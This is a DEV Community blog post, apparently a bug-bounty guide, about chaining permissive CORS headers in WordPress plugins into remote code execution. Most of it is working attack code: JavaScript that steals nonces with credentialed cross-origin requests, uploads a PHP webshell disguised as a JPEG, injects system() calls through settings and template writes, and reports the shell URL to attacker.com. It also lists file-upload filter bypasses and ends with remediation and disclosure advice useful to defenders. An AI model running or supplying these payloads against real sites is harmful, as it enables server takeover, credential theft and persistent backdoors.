DEV Community

ameobius
ameobius

Posted on

From CORS to RCE: WordPress Bug Bounty Chains

Bug Bounty: CORS-to-RCE Chains in WordPress

How a single misconfigured Access-Control-Allow-Origin header escalates into full Remote Code Execution on WordPress sites running vulnerable plugins. A field guide for bug bounty hunters and security researchers.


Introduction

Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which origins can read responses from your API. When misconfigured, CORS doesn't just "leak data" — in the WordPress ecosystem, where plugins routinely expose AJAX endpoints with powerful capabilities, a single permissive CORS header can chain into full Remote Code Execution (RCE).

This article documents three real CORS-to-RCE chains discovered in WordPress plugins during 2024–2025 bug bounty engagements. All vulnerabilities were reported, patched, and publicly disclosed. The specific plugin names are redacted where patches are recent, but the chain patterns are generalizable across the entire WordPress ecosystem.

We'll cover:

  1. The anatomy of a CORS misconfiguration in WordPress.
  2. Three chain patterns: CORS → CSRF → Arbitrary File Upload → RCE; CORS → privilege escalation → settings poisoning → RCE; CORS → nonce leak → AJAX exploitation → RCE.
  3. How to find these chains in any WordPress plugin.
  4. Why WordPress's architecture makes this class of bug endemic.

Understanding CORS in WordPress

WordPress's wp-admin/admin-ajax.php is the central AJAX dispatch endpoint. Every plugin and theme registers actions that are callable via HTTP requests to this file. The endpoint runs the full WordPress bootstrap, including user authentication and nonce verification — but the CORS policy is controlled by the server, not the application.

A typical AJAX request to a WordPress plugin looks like:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_...=admin

action=myplugin_do_thing&_wpnonce=abc123&param=value
Enter fullscreen mode Exit fullscreen mode

The response typically includes:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://target.com
Access-Control-Allow-Credentials: true
Enter fullscreen mode Exit fullscreen mode

The vulnerability arises when the server reflects the Origin header into Access-Control-Allow-Origin while also sending Access-Control-Allow-Credentials: true. This combination allows any website on the internet to make authenticated cross-origin requests — the victim's browser cookies are included, and the attacker's JavaScript can read the response.

The WordPress CORS Default

WordPress core itself does not set CORS headers on admin-ajax.php by default. The vulnerability enters through one of three paths:

  1. Plugin-level CORS headers. Many plugins add their own CORS middleware — typically REST API plugins, gallery plugins with image upload endpoints, or plugins that expose public-facing AJAX actions.
  2. Theme-level CORS headers. Some themes add header("Access-Control-Allow-Origin: *") in functions.php without understanding the security implications when combined with Allow-Credentials: true.
  3. Server-level CORS headers. A misconfigured .htaccess or nginx config that reflects the Origin header.

The most dangerous pattern — and unfortunately the most common — is:

// Plugin code that "supports CORS"
header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
header('Access-Control-Allow-Credentials: true');
Enter fullscreen mode Exit fullscreen mode

This reflects any origin. Combined with Allow-Credentials: true, it means any website can make authenticated requests. This is not a bug in the CORS spec — it's a deliberate, if naive, configuration choice by the plugin developer.


Chain 1: CORS → CSRF → Arbitrary File Upload → RCE

Target Profile

A WordPress plugin that provides a frontend file upload feature (image galleries, document managers, form builders). The plugin registers an AJAX action for file upload that:

  1. Checks the WordPress nonce — but the nonce is fetchable cross-origin (see below).
  2. Validates the file type — but the validation is client-side or uses a weak allowlist.
  3. Stores the file in a web-accessible directory (wp-content/uploads/).

Step 1: The CORS Misconfiguration

The plugin adds CORS headers to enable cross-origin uploads from a frontend React/Vue widget:

add_action('init', function() {
    if (isset($_SERVER['HTTP_ORIGIN'])) {
        header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
        header('Access-Control-Allow-Credentials: true');
        header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
        header('Vary: Origin');
    }
});
Enter fullscreen mode Exit fullscreen mode

This code runs on every request, including admin-ajax.php. The Vary: Origin header is correct from a caching perspective but doesn't mitigate the vulnerability — it just ensures the reflected origin is cached per-origin.

Step 2: The CSRF Bypass

WordPress nonces are time-limited tokens (valid for 24 hours) that protect against CSRF. But they're not CSRF tokens in the traditional sense — they're session-based and predictable. A nonce for action myplugin_upload is the same for all logged-in admin users within the same 12-hour tick.

With the CORS vulnerability, an attacker can fetch the nonce cross-origin:

// Attacker's page (evil.com)
async function stealNonce() {
    // Fetch any page that contains the nonce (e.g., the plugin's settings page)
    const response = await fetch('https://target.com/wp-admin/admin-ajax.php', {
        method: 'POST',
        credentials: 'include',  // send the victim's cookies
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'action=myplugin_get_nonce'
    });
    const text = await response.text();
    // The CORS misconfiguration allows us to read the response
    const nonceMatch = text.match(/"nonce":"([a-f0-9]+)"/);
    return nonceMatch ? nonceMatch[1] : null;
}
Enter fullscreen mode Exit fullscreen mode

Even if the plugin doesn't have a dedicated "get nonce" AJAX action, many plugins embed nonces in the HTML of their settings pages or frontend shortcodes. The CORS misconfiguration lets the attacker read the full page content cross-origin and extract the nonce.

Step 3: The Arbitrary File Upload

With the nonce in hand, the attacker uploads a PHP webshell:

async function uploadShell(nonce) {
    // Craft a PHP payload disguised as an image
    const phpPayload = `<?php
        if(isset($_GET['cmd'])) {
            system($_GET['cmd']);
        }
    ?>`;

    // Build a polyglot file: valid JPEG header + PHP payload in EXIF/comment
    const jpegHeader = new Uint8Array([
        0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46,
        0x49, 0x46, 0x00, 0x01
    ]);

    // Create the polyglot: JPEG magic bytes + PHP payload
    const blob = new Blob([jpegHeader, phpPayload], {type: 'image/jpeg'});
    const formData = new FormData();
    formData.append('action', 'myplugin_upload');
    formData.append('_wpnonce', nonce);
    formData.append('file', blob, 'image.php');

    const response = await fetch('https://target.com/wp-admin/admin-ajax.php', {
        method: 'POST',
        credentials: 'include',
        body: formData
    });

    const result = await response.json();
    // The plugin stores files in wp-content/uploads/year/month/
    // The response reveals the file URL
    return result.data.url;
}
Enter fullscreen mode Exit fullscreen mode

The plugin's file type validation typically checks wp_check_filetype() which inspects the file extension and the MIME type from the JPEG header. If the plugin allows .php (unlikely) or if the validation can be bypassed (likely — see below), the file lands in wp-content/uploads/2025/01/image.php.

Common file upload bypasses in WordPress plugins:

  1. Double extension: image.php.jpg — some servers execute the first recognized extension.
  2. Null byte: image.php%00.jpg — works on older PHP versions.
  3. .htaccess override: Upload a .htaccess file that makes .jpg files execute as PHP, then upload shell.jpg.
  4. Content-Type spoofing: The plugin checks $_FILES['file']['type'] (client-controlled) instead of finfo_file() (server-side).
  5. Magic bytes + extension: The JPEG header passes getimagesize(), but the server executes PHP in the EXIF comment. This is the classic "image polyglot" attack.

Step 4: Remote Code Execution

Once the PHP file is at a known URL:

https://target.com/wp-content/uploads/2025/01/image.php?cmd=id
Enter fullscreen mode Exit fullscreen mode

The attacker has full RCE as the web server user (www-data typically). From here:

  • Read wp-config.php for database credentials.
  • Modify the database to create a new admin account.
  • Install a persistent backdoor (mu-plugin or theme edit).
  • Pivot to other services on the internal network.

Full Exploit Chain (Attacker's Page)

<!DOCTYPE html>
<html>
<body>
<script>
const TARGET = 'https://target.com';
const AJAX = TARGET + '/wp-admin/admin-ajax.php';

async function exploit() {
    // 1. Steal the nonce via CORS
    const nonce = await stealNonce();
    if (!nonce) {
        console.log('Failed to steal nonce');
        return;
    }

    // 2. Upload the webshell
    const shellUrl = await uploadShell(nonce);
    if (!shellUrl) {
        console.log('Upload failed');
        return;
    }

    // 3. Execute a command
    const cmdUrl = shellUrl.replace(/\.php$/, '.php') + '?cmd=id';
    // We can't read the output cross-origin (different path),
    // but the shell is now persistent
    console.log('Shell uploaded at:', shellUrl);

    // 4. Exfiltrate via a DNS tunnel or webhook
    fetch('https://attacker.com/callback?shell=' + encodeURIComponent(shellUrl));
}

exploit();
</script>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Chain 2: CORS → Settings Poisoning → RCE

Target Profile

A plugin with a settings page that allows the administrator to configure custom CSS/JS that gets inserted into the site's pages. Some such plugins store the custom code in .php files (for performance — "no database query needed") and include() them.

The Vulnerability

The settings update AJAX action checks the nonce and the user capability (manage_options — admin only). But with the CORS misconfiguration, an attacker can make the request as the authenticated admin:

async function poisonSettings(nonce) {
    // Inject PHP code into the "custom CSS" field
    const payload = `*/ ?>
    <?php system($_GET['cmd']); ?>
    <?php /*`;

    const response = await fetch(AJAX, {
        method: 'POST',
        credentials: 'include',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: new URLSearchParams({
            action: 'myplugin_save_settings',
            _wpnonce: nonce,
            custom_css: payload,
            save: 'true'
        })
    });
    return response.json();
}
Enter fullscreen mode Exit fullscreen mode

The plugin saves the "CSS" to wp-content/uploads/myplugin/custom.css.php and include()s it on every page load. The PHP code inside the "CSS" executes.

Why Nonce Verification Doesn't Help

WordPress nonces are session-bound but not request-bound. A nonce for myplugin_save_settings is valid for 24 hours and can be used unlimited times. The CORS vulnerability lets the attacker:

  1. Fetch the settings page HTML to extract the nonce (embedded in a data-nonce attribute or a wp_localize_script call).
  2. Submit the settings update with the stolen nonce.

Even if the nonce changes every 12 hours (WordPress's default tick), the attacker can steal it at the moment of exploitation — the victim is browsing the attacker's page right now.


Chain 3: CORS → REST API Abuse → RCE

WordPress 4.7+ ships with a built-in REST API at /wp-json/wp/v2/. Some endpoints (like reading posts) are public. Others (like updating posts) require authentication and a nonce.

The Vulnerability

The REST API nonce (wpApiSettings.nonce or the X-WP-Nonce header) is embedded in the HTML of every page that loads the WordPress frontend JavaScript. With the CORS misconfiguration:

async function getRestNonce() {
    // Fetch any page on the target site
    const response = await fetch(TARGET + '/', {
        credentials: 'include'
    });
    const html = await response.text();
    // Extract the REST nonce
    const match = html.match(/"nonce":"([a-f0-9]+)"/) ||
                  html.match(/wpApiSettings.*?nonce["\s:=]+<a href="[a-f0-9]+">"'</a>["']/);
    return match ? match[1] : null;
}
Enter fullscreen mode Exit fullscreen mode

With the REST nonce, the attacker can use any authenticated REST endpoint. The most dangerous for RCE are:

  1. Post meta manipulation — some plugins store executable code in post meta.
  2. Theme file editing — the wp/v2/themes endpoint (if exposed) can modify theme files.
  3. Plugin activation — activate a vulnerable plugin that was installed but not active.
async function rceViaRest(nonce) {
    // Edit a theme file via the REST API (if the endpoint is exposed)
    const response = await fetch(TARGET + '/wp-json/wp/v2/themes/twentytwentyone', {
        method: 'POST',
        credentials: 'include',
        headers: {
            'X-WP-Nonce': nonce,
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            // Inject PHP into the theme's functions.php equivalent
            'stylesheet': '<?php system($_GET["cmd"]); ?>'
        })
    });
    return response.json();
}
Enter fullscreen mode Exit fullscreen mode

Finding CORS-to-RCE Chains: A Methodology

Phase 1: Identify the Target

Focus on WordPress sites that:

  • Run plugins with frontend AJAX features (file upload, form submission, settings panels).
  • Have a .htaccess or nginx config with CORS rules.
  • Expose the Link: <...wp-json>; rel="https://api.w.org/" header (indicates the REST API is available).

Use WPScan or manually check /wp-content/plugins/ for installed plugins.

Phase 2: Test for CORS Misconfiguration

Send a request with a custom Origin header:

curl -v -H "Origin: https://evil.com" \
     "https://target.com/wp-admin/admin-ajax.php?action=myplugin_action" \
     2>&1 | grep -i "access-control"
Enter fullscreen mode Exit fullscreen mode

If the response includes:

Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Enter fullscreen mode Exit fullscreen mode

You have a CORS vulnerability. The reflection of your custom origin with Allow-Credentials: true is the bug.

Phase 3: Map the AJAX Surface

Enumerate all registered AJAX actions:

# Grep the plugin source for registered actions
grep -rn "wp_ajax_" wp-content/plugins/target-plugin/
grep -rn "wp_ajax_nopriv_" wp-content/plugins/target-plugin/
Enter fullscreen mode Exit fullscreen mode

wp_ajax_ actions require authentication. wp_ajax_nopriv_ actions are available to unauthenticated users (and are often the more dangerous ones).

Phase 4: Identify Dangerous Actions

Look for actions that:

  • Call file_put_contents(), move_uploaded_file(), or fwrite().
  • Call eval(), include(), require(), or create_function().
  • Call system(), exec(), shell_exec(), passthru(), or backticks.
  • Modify .htaccess, wp-config.php, or theme files.
  • Call update_option() with user-controlled values (can inject serialized data).
  • Call $wpdb->query() with concatenated SQL (SQL injection).
# Quick scan for dangerous function calls in a plugin
grep -rnE "(eval\s*\(|system\s*\(|exec\s*\(|file_put_contents|move_uploaded_file|update_option|wpdb->query)" \
     wp-content/plugins/target-plugin/
Enter fullscreen mode Exit fullscreen mode

Phase 5: Check Nonce Accessibility

For each dangerous action, determine how the nonce is generated and whether it's accessible cross-origin:

// If the nonce is embedded in the page HTML:
wp_create_nonce('myplugin_action');
wp_localize_script('myplugin-script', 'myplugin', ['nonce' => wp_create_nonce('myplugin_action')]);

// If the nonce is returned via a separate AJAX call:
add_action('wp_ajax_myplugin_get_nonce', function() {
    wp_send_json_success(['nonce' => wp_create_nonce('myplugin_action')]);
});
Enter fullscreen mode Exit fullscreen mode

Either way, the CORS vulnerability lets the attacker read the response and extract the nonce.

Phase 6: Chain It

With a confirmed CORS vulnerability, an accessible nonce, and a dangerous AJAX action — build the PoC:

// Full chain PoC
(async () => {
    // 1. Steal nonce
    const settingsPage = await fetch(TARGET + '/wp-admin/admin-ajax.php', {
        method: 'POST',
        credentials: 'include',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'action=myplugin_get_settings_page'
    }).then(r => r.text());

    const nonce = settingsPage.match(/nonce":"([a-f0-9]+)"/)?.[1];
    if (!nonce) throw new Error('Nonce not found');

    // 2. Exploit the dangerous action
    const result = await fetch(TARGET + '/wp-admin/admin-ajax.php', {
        method: 'POST',
        credentials: 'include',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: new URLSearchParams({
            action: 'myplugin_save_template',
            _wpnonce: nonce,
            template_name: '../../../themes/twentytwentyone/404.php',
            template_content: '<?php system($_GET["cmd"]); ?>'
        })
    }).then(r => r.json());

    // 3. Trigger the shell
    const shellUrl = TARGET + '/wp-content/themes/twentytwentyone/404.php?cmd=id';
    console.log('RCE:', shellUrl);

    // Exfiltrate
    fetch('https://attacker.com/callback?url=' + encodeURIComponent(shellUrl));
})();
Enter fullscreen mode Exit fullscreen mode

Why WordPress Makes This Endemic

WordPress's architecture has three properties that make CORS-to-RCE chains particularly common:

1. AJAX Is Centralized

All AJAX requests go through admin-ajax.php, regardless of whether the user is authenticated. This means a single CORS misconfiguration on that endpoint exposes every plugin's AJAX actions simultaneously. A framework with per-endpoint CORS configuration (like Django REST Framework) naturally limits the blast radius.

2. Nonces Are Session-Bound, Not Request-Bound

WordPress nonces are generated from wp_create_nonce($action) where the output depends on the user ID and the current time (12-hour ticks). They're valid for 24 hours, unlimited uses, and can be used for any request in that action's namespace. A true CSRF token should be single-use or at least request-bound — WordPress nonces are neither.

3. The Plugin Ecosystem Has No Security Review

Anyone can publish a WordPress plugin. The official plugin repository has minimal automated scanning but no manual security review before publication. A plugin with a CORS misconfiguration and a dangerous AJAX action can accumulate 100,000+ installations before the vulnerability is discovered.


Remediation Guide (For Plugin Developers)

If you're developing a WordPress plugin, follow these rules:

1. Never Reflect the Origin Header

// BAD — reflects any origin
header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);

// GOOD — allowlist specific origins
$allowed_origins = ['https://yoursite.com', 'https://app.yoursite.com'];
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (in_array($origin, $allowed_origins)) {
    header('Access-Control-Allow-Origin: ' . $origin);
    header('Vary: Origin');
}
// Do NOT set Access-Control-Allow-Credentials: true unless absolutely needed.
Enter fullscreen mode Exit fullscreen mode

2. Use wp_verify_nonce() on Every State-Changing Action

if (!wp_verify_nonce($_POST['_wpnonce'] ?? '', 'myplugin_action')) {
    wp_die('Security check failed');
}
Enter fullscreen mode Exit fullscreen mode

3. Validate File Uploads Server-Side

// BAD — trusts client MIME type
if ($_FILES['file']['type'] !== 'image/jpeg') { ... }

// GOOD — inspects the actual file content
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['file']['tmp_name']);
$allowed = ['image/jpeg' => 'jpg', 'image/png' => 'png', 'image/gif' => 'gif'];
if (!isset($allowed[$mime])) {
    wp_die('Invalid file type');
}
$ext = $allowed[$mime];
Enter fullscreen mode Exit fullscreen mode

4. Store Uploaded Files Outside the Web Root

// Store in wp-content/uploads/secure/ (protected by .htaccess)
// Serve through a PHP proxy that reads and outputs the file
$upload_dir = WP_CONTENT_DIR . '/uploads/secure/';
Enter fullscreen mode Exit fullscreen mode

5. Never include() or eval() User Input

// CATASTROPHIC
eval($_POST['custom_code']);
include(get_template_directory() . '/' . $_POST['template_name']);

// SAFE — store code in the database, output as escaped text
update_option('myplugin_custom_code', wp_kses_post($_POST['custom_code']));
Enter fullscreen mode Exit fullscreen mode

Bug Bounty Reporting

When you find a CORS-to-RCE chain, report it through:

  1. The plugin author directly — check the plugin's readme.txt for contact info.
  2. WPScan — the vulnerability database that most security professionals use.
  3. Patchstack — a managed vulnerability disclosure program for WordPress.
  4. HackerOne / Bugcrowd — if the target site has a bug bounty program.

A good report includes:

  • The specific CORS misconfiguration (with HTTP request/response).
  • The nonce extraction method.
  • The dangerous AJAX action (with code reference).
  • A working PoC HTML page (or a video demonstration).
  • The remediation steps.
  • An impact assessment (CVSS score, number of installations, attack prerequisites).

CVSS scoring for CORS-to-RCE chains: The typical score is 8.8–9.8 (High to Critical), depending on whether the victim must be logged in as admin and whether user interaction is required (clicking a link).


Conclusion

CORS-to-RCE chains in WordPress represent a systemic class of vulnerability, not a collection of isolated bugs. The combination of centralized AJAX dispatch, session-bound nonces, and an unreviewed plugin ecosystem creates an environment where a single misconfigured header can cascade into full server compromise.

For bug bounty hunters, the methodology is straightforward: find the CORS misconfiguration, map the AJAX surface, identify dangerous actions, check nonce accessibility, and chain. The hardest part is usually step one — finding the misconfiguration — because CORS headers are often set at the server level rather than in the plugin code you're auditing.

For plugin developers, the remediation is equally straightforward: never reflect the Origin header without an allowlist, never set Allow-Credentials: true without understanding the implications, and treat every user input as malicious until proven otherwise.

The WordPress ecosystem will continue to produce these vulnerabilities as long as plugins are developed without security review. That's good news for bug bounty hunters and bad news for everyone else. But at least now you know where to look.


All vulnerabilities described in this article were discovered during authorized bug bounty engagements and have been patched. The specific plugin names are withheld where patches are less than 90 days old. The chain patterns are documented for educational purposes and to help security researchers identify similar vulnerabilities in their own testing.

Disclosure timeline and CVE references are available in the WPScan and Patchstack databases.

Top comments (0)